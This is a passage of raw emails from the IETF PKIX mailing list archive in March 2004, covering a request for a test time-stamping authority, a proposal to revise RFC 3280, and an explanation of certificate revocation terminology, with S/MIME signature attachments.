ySOeseZK7meVIV3VRVcaCy9hoMUoVf51NOu+ktDcKKqVoYOQhX6u1TkCdCu8OiyFUR0WCT0K
nPN48MI07ZTQ0DyZhUJj9DkzOsjP/orfXxfbN2V29Uxs4eZrcWhO54aUgCoFi5HsTh65lDe6
3gsfXaTFTYEHbGV4c7/JLJ191pOLKIjemb8lXAL014dcMsABLfGEWSKPiq1OLaaobV+d6X5a
+KrMAlxoqTIykrX8iX7E62bft5lK7lJcPr8g5lYZ33mYoFmjqXwOrqCcFAeAwV97fQAAAAAA
AA==
--------------ms040703060103090900000202--




Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2PCj9tF025206; Thu, 25 Mar 2004 04:45:09 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2PCj9Zb025205; Thu, 25 Mar 2004 04:45:09 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from ascertia.com.pk ([203.81.201.118]) by above.proper.com (8.12.11/8.12.8) with SMTP id i2PCj6pW025176 for <[e-mail]>; Thu, 25 Mar 2004 04:45:07 -0800 (PST) (envelope-from [e-mail])
Received: From identrusva1 (unverified [192.168.0.6]) by SMTP Server [192.168.0.1] (WinGate SMTP Receiver v5.0g) with SMTP id <[e-mail]>; Thu, 25 Mar 2004 17:46:07 +0500
Message-ID: <0a0e01c41267$24ef23c0$[e-mail]>
From: "Wahaj" <[e-mail]>
To: "Massimiliano Farris" <[e-mail]>, <[e-mail]>
References: <[e-mail]>
Subject: Re: TSA for testing
Date: Thu, 25 Mar 2004 17:46:03 +0500
MIME-Version: 1.0
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=SHA1; boundary="----=_NextPart_000_0A09_01C41291.0AF2AAD0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

This is a multi-part message in MIME format.

------=_NextPart_000_0A09_01C41291.0AF2AAD0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hi,

I will recommend Opentsa: http://www.opentsa.org/

Regards,
Wahaj
----- Original Message ----- 
From: "Massimiliano Farris" <[e-mail]>
To: <[e-mail]>
Sent: Thursday, March 25, 2004 3:27 PM
Subject: TSA for testing


> 
> 
>   Hi all,
> 
>   I'm making some tests with my TSP client,
>   but I cannot find any testing TSA online.
>   Can anyone tell me if there is one?
>   What happened to the standardisation process
>   of TSP (RFC3161)?
>   thanks in advance,
>                      Max
> 
> --
> Massimiliano Farris
> Pubblica Amministrazione
> -------------------------------------
> SarasLab S.r.l.
> Tel.  [phone]
> Fax  [phone]
> e-mail: [e-mail]
> 
------=_NextPart_000_0A09_01C41291.0AF2AAD0
Content-Type: application/x-pkcs7-signature;
	name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="smime.p7s"

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
CxMdQ2xhc3MgMiBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkxFjAUBgNVBAMTDUFzY2VydGlhIENBIDIw
HhcNMDQwMzA4MDc0MzA2WhcNMDUwMzA4MDcwMDAxWjBLMQswCQYDVQQGEwJHQjERMA8GA1UEChMI
QXNjZXJ0aWExFDASBgNVBAsTC0RldmVsb3BtZW50MRMwEQYDVQQDEwpXYWhhaiBLaGFuMIGfMA0G
CSqGSIb3DQEBAQUAA4GNADCBiQKBgQDlC/xpZJtYn53sHQrzeYykW+zk8ATUlndm+djtMhj/T5Oi
jz8ERaxBdtPmK2+bVf4qEWRF+mizOUqxCi/dAKNyPJUTQ5qQHkywWKUrTDm4IowSFcopdhYCtT+O
+XgpEftc+U9SEtUCjl21yY6+weN+uTRoK2yUNhMdGVb1e1NWeQIDAQABo4ICEzCCAg8wDgYDVR0P
AQH/BAQDAgP4MAwGA1UdEwEB/wQCMAAwggEDBgNVHSAEgfswgfgwgfUGCisGAQQB/EkBAgEwgeYw
geMGCCsGAQUFBwICMIHWGoHTVGhpcyBjZXJ0aWZpY2F0ZSBpcyBmb3IgdGhlIHNvbGUgdXNlIG9m
IEFzY2VydGlhLCBhbmQgaXRzIGN1c3RvbWVycy4gQXNjZXJ0aWEgYWNjZXB0cyBubyBsaWFiaWxp
dHkgZm9yIGFueSBjbGFpbSBleGNlcHQgYXMgZXhwcmVzc2x5IHByb3ZpZGVkIGluIGl0cyBDZXJ0
aWZpY2F0ZSBQb2xpY3ksIHdoaWNoIGlzIGF2YWlsYWJsZSBmcm9tIGluZm9AYXNjZXJ0aWEuY29t
LjAdBgNVHQ4EFgQUvq69vWKyMCFAVBAULt3QCNV8S0gwTQYDVR0fBEYwRDBCoECgPoY8aHR0cDov
L3d3dy5hc2NlcnRpYS5jb20vT25saW5lQ0EvY3Jscy9Bc2NlcnRpYUNBMi9jbGFzczIuY3JsMDUG
CCsGAQUFBwEBBCkwJzAlBggrBgEFBQcwAYYZd3d3Lmdsb2JhbHRydXN0ZmluZGVyLmNvbTAiBgNV
HREEGzAZgRd3YWhhai5raGFuQGFzY2VydGlhLmNvbTAfBgNVHSMEGDAWgBRz8/KL0dh24vUXUr0i
Nmz4qQmLdDANBgkqhkiG9w0BAQUFAAOBgQByY2HKR7GegG4tLJ5MJ0VCEZeCCCLU3ac7lrvoBPUC
VbIrRQ90y6F59MJWGT+fuFVF9e1cpmOMtMD+WO5XAJ4BgMzrlpQn9tgk8mCiiEX6zfBGusf83uhU
GzpF/G52SDd2OzLCN5vc/lmnKI9tbIm+qi3s0xxTQ3OcgbHZxVx/yzGCAcgwggHEAgEBMGUwYDEL
MAkGA1UEBhMCR0IxETAPBgNVBAoTCEFzY2VydGlhMSYwJAYDVQQLEx1DbGFzcyAyIENlcnRpZmlj
YXRlIEF1dGhvcml0eTEWMBQGA1UEAxMNQXNjZXJ0aWEgQ0EgMgIBMzAJBgUrDgMCGgUAoIG6MBgG
CSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTA0MDMyNTEyNDYwM1owIwYJ
KoZIhvcNAQkEMRYEFKvOWS0xZbgsKn2lDtFwmgUtzZXUMFsGCSqGSIb3DQEJDzFOMEwwCgYIKoZI
hvcNAwcwDgYIKoZIhvcNAwICAgCAMA0GCCqGSIb3DQMCAgFAMAcGBSsOAwIHMA0GCCqGSIb3DQMC
AgEoMAcGBSsOAwIdMA0GCSqGSIb3DQEBAQUABIGAXIZFX3uQpgqDNwtTX5gjoVFxQpG8k+v8WlMt
xJ4J274PXuuQrqrtgKWm57iueRl70Vn+mFj/+dPXWLqqbq29NCiNNXIDJVphzUDcxGf3XisJhkZV
nGn9TqxHQBOFdAqFG7GvwmrZebYKT38DBcgWXl2uywq5oxsnQ+R0gLWKP0EAAAAAAAA=

------=_NextPart_000_0A09_01C41291.0AF2AAD0--



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2PBgUSn021079; Thu, 25 Mar 2004 03:42:30 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2PBgUwJ021078; Thu, 25 Mar 2004 03:42:30 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2PBgT3X021072 for <[e-mail]>; Thu, 25 Mar 2004 03:42:29 -0800 (PST) (envelope-from [e-mail])
Received: from clbull.frcl.bull.fr (IDENT:[e-mail] [129.182.8.31]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id MAA28296; Thu, 25 Mar 2004 12:51:04 +0100
Received: from bull.net (frcls4013.frcl.bull.fr [129.182.108.120]) by clbull.frcl.bull.fr (8.9.3/8.9.3) with ESMTP id MAA07685; Sat, 25 Mar 2000 12:37:16 +0100
Message-ID: <[e-mail]>
Date: Thu, 25 Mar 2004 12:42:27 +0100
From: Denis Pinkas <[e-mail]>
Organization: Bull SA.
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: en-us, en, fr
MIME-Version: 1.0
To: Steve Hanna <[e-mail]>
CC: PKIX List <[e-mail]>
Subject: Re: Successor to RFC 3280?
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

> I have heard some folks say that we should have
> a successor to RFC 3280 (and 3279) and some folks
> say that we shouldn't. I'd like to raise this topic
> for discussion on the PKIX list to settle this matter.

> I believe that an update to RFC 3280 is necessary
> for two reasons. First, some minor problems have
> been found during implementation and deployment
> (mostly typos and clarifications). These should
> be fixed so that future implementors don't have
> to suffer through them. Second, we are almost ready
> for RFC 3280 to progress to Draft Standard status.
> In order to do this, it must be revised. So I
> believe that an update to RFC 3280 (and 3279)
> should be undertaken.

There is a third reason:

ISO has modified last week the text on key usage and we should align 
son-of-RFC3280 with it.

Denis

> HOWEVER, I think it is essential for us to limit
> the scope of this update. We should not add features
> to the spec or make substantial changes, especially
> changes that would break compatibility with RFC 3280.
> The scope of the update should be limited to
> "clarifying and correcting the document in light
> of implementation experience".
> 
> That's my perspective on this important matter.
> I would like to hear other perspectives and
> opinions so that we can arrive at a rough working
> group consensus on this.
> 
> Thanks,
> 
> Steve
> 
> P.S. I have a list of typos and clarifications
> that need to be fixed in the next version of
> RFC 3280. If we decide to proceed with a revision,
> I'll forward it to the editor and cc the PKIX list.




Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2PBYclJ020554; Thu, 25 Mar 2004 03:34:38 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2PBYcRI020553; Thu, 25 Mar 2004 03:34:38 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from edelweb.fr (edelweb.fr [212.234.46.16]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2PBYakv020544 for <[e-mail]>; Thu, 25 Mar 2004 03:34:37 -0800 (PST) (envelope-from [e-mail])
Received: from chandon.edelweb.fr (localhost [127.0.0.1]) by edelweb.fr (8.11.7p1+Sun/8.11.7) with ESMTP id i2PBYWN29423 for <[e-mail]>; Thu, 25 Mar 2004 12:34:32 +0100 (MET)
Received: from chandon.edelweb.fr (chandon.edelweb.fr [193.51.14.162]) by edelweb.fr (nospam/1.8); Thu, 25 Mar 2004 12:34:32 +0100 (MET)
Received: (from peter@localhost) by chandon.edelweb.fr (8.11.7p1+Sun/8.11.7) id i2PBYVq00586 for [e-mail]; Thu, 25 Mar 2004 12:34:31 +0100 (MET)
Date: Thu, 25 Mar 2004 12:34:31 +0100 (MET)
From: Peter Sylvester <[e-mail]>
Message-Id: <[e-mail]>
To: [e-mail]
Subject: Re: TSA for testing
X-Sun-Charset: US-ASCII
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

>   I'm making some tests with my TSP client,
>   but I cannot find any testing TSA online.
>   Can anyone tell me if there is one?
Yes. 

   http://timestamping.edelweb.fr

online since October 2000





Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2PAJl9L015838; Thu, 25 Mar 2004 02:19:47 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2PAJlHO015837; Thu, 25 Mar 2004 02:19:47 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from srv-mail.fst.it (nhmp.fst.it [213.255.36.41]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2PAJjKK015829 for <[e-mail]>; Thu, 25 Mar 2004 02:19:46 -0800 (PST) (envelope-from [e-mail])
Received: by srv-mail.fst.it with Internet Mail Service (5.5.2657.72) id <GRG0GBWL>; Thu, 25 Mar 2004 11:27:03 +0100
Message-ID: <[e-mail]>
From: Massimiliano Farris <[e-mail]>
To: "'[e-mail]'" <[e-mail]>
Subject: TSA for testing
Date: Thu, 25 Mar 2004 11:27:02 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain; charset="iso-8859-1"
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

  Hi all,

  I'm making some tests with my TSP client,
  but I cannot find any testing TSA online.
  Can anyone tell me if there is one?
  What happened to the standardisation process
  of TSP (RFC3161)?
  thanks in advance,
                     Max

--
Massimiliano Farris
Pubblica Amministrazione
-------------------------------------
SarasLab S.r.l.
Tel.  [phone]
Fax  [phone]
e-mail: [e-mail]



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2OMODJI095870; Wed, 24 Mar 2004 14:24:13 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2OMODJZ095869; Wed, 24 Mar 2004 14:24:13 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from nwkea-mail-1.sun.com (nwkea-mail-1.sun.com [192.18.42.13]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2OMOCT8095860 for <[e-mail]>; Wed, 24 Mar 2004 14:24:12 -0800 (PST) (envelope-from [e-mail])
Received: from phys-bur1-1 ([129.148.13.15]) by nwkea-mail-1.sun.com (8.12.10/8.12.9) with ESMTP id i2OMOCWA014541 for <[e-mail]>; Wed, 24 Mar 2004 14:24:12 -0800 (PST)
Received: from sun.com (dhcp-ubur02-75-161.East.Sun.COM [129.148.75.161]) by bur-mail2.east.sun.com (iPlanet Messaging Server 5.2 HotFix 1.16 (built May 14 2003)) with ESMTPA id <[e-mail]> for [e-mail]; Wed, 24 Mar 2004 17:24:11 -0500 (EST)
Date: Wed, 24 Mar 2004 17:22:00 -0500
From: Steve Hanna <[e-mail]>
Subject: Successor to RFC 3280?
To: PKIX List <[e-mail]>
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Mozilla 4.79 [en] (WinNT; U)
Content-type: multipart/signed; boundary=------------ms68921DF702FFA7D326A3496E; micalg=sha1; protocol="application/x-pkcs7-signature"
X-Accept-Language: en
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

This is a cryptographically signed message in MIME format.

--------------ms68921DF702FFA7D326A3496E
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I have heard some folks say that we should have
a successor to RFC 3280 (and 3279) and some folks
say that we shouldn't. I'd like to raise this topic
for discussion on the PKIX list to settle this matter.

I believe that an update to RFC 3280 is necessary
for two reasons. First, some minor problems have
been found during implementation and deployment
(mostly typos and clarifications). These should
be fixed so that future implementors don't have
to suffer through them. Second, we are almost ready
for RFC 3280 to progress to Draft Standard status.
In order to do this, it must be revised. So I
believe that an update to RFC 3280 (and 3279)
should be undertaken.

HOWEVER, I think it is essential for us to limit
the scope of this update. We should not add features
to the spec or make substantial changes, especially
changes that would break compatibility with RFC 3280.
The scope of the update should be limited to
"clarifying and correcting the document in light
of implementation experience".

That's my perspective on this important matter.
I would like to hear other perspectives and
opinions so that we can arrive at a rough working
group consensus on this.

Thanks,

Steve

P.S. I have a list of typos and clarifications
that need to be fixed in the next version of
RFC 3280. If we decide to proceed with a revision,
I'll forward it to the editor and cc the PKIX list.
--------------ms68921DF702FFA7D326A3496E
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIIEAYJKoZIhvcNAQcCoIIIATCCB/0CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BeMwggKjMIICDKADAgECAgMKVAgwDQYJKoZIhvcNAQEEBQAwgZIxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhh
d3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwg
RnJlZW1haWwgUlNBIDIwMDAuOC4zMDAeFw0wMzA3MTExMTAxNTFaFw0wNDA3MTAxMTAxNTFa
MGgxDjAMBgNVBAQTBUhhbm5hMRUwEwYDVQQqEwxTdGVwaGVuIFJvc3MxGzAZBgNVBAMTElN0
ZXBoZW4gUm9zcyBIYW5uYTEiMCAGCSqGSIb3DQEJARYTc3RldmUuaGFubmFAc3VuLmNvbTCB
nzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAoxRk/abMPe7Km2EqpD2FZXzjiBGUHhIdNlIO
9W6mdCQro1xMc+sv+93UuVnIzse+XA67Tqx4g5FdoQ+PI8TQYemYSkTD9GitgU563ypu03UV
86zTJA7u9zVkNv/qL2LRKZ9BXy2Smtet+PUh3nYjMh/ZY7LQxQzmdu1Zunue+yECAwEAAaMw
MC4wHgYDVR0RBBcwFYETc3RldmUuaGFubmFAc3VuLmNvbTAMBgNVHRMBAf8EAjAAMA0GCSqG
SIb3DQEBBAUAA4GBAHbpX0TKiOFu1vxKc3nAOcUHwoci5kinboYrnjWcl37mMXXbBFntaYRM
9LxpGtHdPm7F4pAviKp8bnFzTU46OyUw3kNUAVGDeWYVQC76f0dDZdA313Tn88UZYa+N6O8W
bO8wjKA2vg+yx79WXJCFDu+TpsG/28NKPdH42w8LEOVHMIIDODCCAqGgAwIBAgIQZkVyt8x0
9c9jdkWE0C6RATANBgkqhkiG9w0BAQQFADCB0TELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl
c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMRowGAYDVQQKExFUaGF3dGUgQ29uc3Vs
dGluZzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEkMCIGA1UE
AxMbVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIENBMSswKQYJKoZIhvcNAQkBFhxwZXJzb25h
bC1mcmVlbWFpbEB0aGF3dGUuY29tMB4XDTAwMDgzMDAwMDAwMFoXDTA0MDgyNzIzNTk1OVow
gZIxCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUg
VG93bjEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEo
MCYGA1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDIwMDAuOC4zMDCBnzANBgkqhkiG9w0B
AQEFAAOBjQAwgYkCgYEA3jMypmPHCSVFPtJueCdngcXaiBmClw7jRCmKYzUqbXA8+tyu9+50
bzC8M5B/+TRxoKNtmPHDT6Jl2w36S/HW3WGl+YXNVZo1Gp2Sdagnrthy+boC9tewkd4c6avg
GAOofENCUFGHgzzwObSbVIoTh/+zm51JZgAtCYnslGvpoWkCAwEAAaNOMEwwKQYDVR0RBCIw
IKQeMBwxGjAYBgNVBAMTEVByaXZhdGVMYWJlbDEtMjk3MBIGA1UdEwEB/wQIMAYBAf8CAQAw
CwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBBAUAA4GBADGxS0dd+QFx5fVTbF151j2YwCYTYoEi
pxL4IpXoG0m3J3sEObr85vIk65H6vewNKjj3UFWobPcNrUwbvAP0teuiR59sogxYjTFCCRFs
sBpp0SsSskBdavl50OouJd2K5PzbDR+dAvNa28o89kTqJmmHf0iezqWf54TYyWJirQXGMYIB
9TCCAfECAQEwgZowgZIxCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQ
BgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0
ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDIwMDAuOC4zMAID
ClQIMAkGBSsOAwIaBQCggbEwGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0B
CQUxDxcNMDQwMzI0MjIyMjAwWjAjBgkqhkiG9w0BCQQxFgQUsf9X4f95vVtGqXW7AuVVDC68
uDwwUgYJKoZIhvcNAQkPMUUwQzAKBggqhkiG9w0DBzAOBggqhkiG9w0DAgICAIAwBwYFKw4D
AgcwDQYIKoZIhvcNAwICAUAwDQYIKoZIhvcNAwICASgwDQYJKoZIhvcNAQEBBQAEgYCdTBkV
zc0GyjXPrp1vMoMcmKma0HsM2aRmr3aBREiJtLrgUygETTJXgv5+ZD3zP3hu9LTjCCGJ9bgi
cYkRApxvH/ioqGVYQx23q/UXKFXuSPSvcY9ay9DfZiiM6Sja0WfFLcFN2uu/2M9P514iym09
OfsCb+AMS2O8t0QBYmyDrg==
--------------ms68921DF702FFA7D326A3496E--



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2NGuit0090665; Tue, 23 Mar 2004 08:56:44 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2NGui3B090664; Tue, 23 Mar 2004 08:56:44 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from aragorn.bbn.com (aragorn.bbn.com [128.33.0.62]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2NGuhiH090656 for <[e-mail]>; Tue, 23 Mar 2004 08:56:43 -0800 (PST) (envelope-from [e-mail])
Received: from [128.33.244.157] (col-dhcp33-244-157.bbn.com [128.33.244.157]) by aragorn.bbn.com (8.12.7/8.12.7) with ESMTP id i2NGuebc017556; Tue, 23 Mar 2004 11:56:40 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p06020406bc861b0a4627@[128.33.244.157]>
In-Reply-To: <[e-mail]>
References: <[e-mail]> <004f01c410dc$2c0681d0$[e-mail]> <[e-mail]>
Date: Tue, 23 Mar 2004 11:56:01 -0500
To: "Julien Stern" <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: Current status of CRL validation ?
Cc: [e-mail]
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang)
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Julien,

The confusion stems from somewhat sloppy use of terminology in these 
discussions.

Only the issuer of a cert can revoke it and in X.509 (unlike PGP) 
there is only one issuer for a given cert. So, the revocation 
question as you stated it was not well formed. A cert is either 
revoked or not. However, the ability of an RP to establish the 
validity of a cert is a function of the cert path that the RP uses to 
validate the cert, and of the access to revocation status info 
available to the RP. Since there may be more than one path used to 
validate the same cert, it is possible to get to different answers re 
the question of whether the cert is valid, depending on which path 
you use. Also, two RPs may have access to different revocation status 
data for the EE cert or for a CA cert along a oath, so that each RP 
may arrive at different view of the validity of the EE cert.

Steve



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2NGGETB086485; Tue, 23 Mar 2004 08:16:14 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2NGGEqj086479; Tue, 23 Mar 2004 08:16:14 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from ns.malpani.biz (adsl-63-194-89-166.dsl.snfc21.pacbell.net [63.194.89.166]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2NGGDBf086464 for <[e-mail]>; Tue, 23 Mar 2004 08:16:13 -0800 (PST) (envelope-from [e-mail])
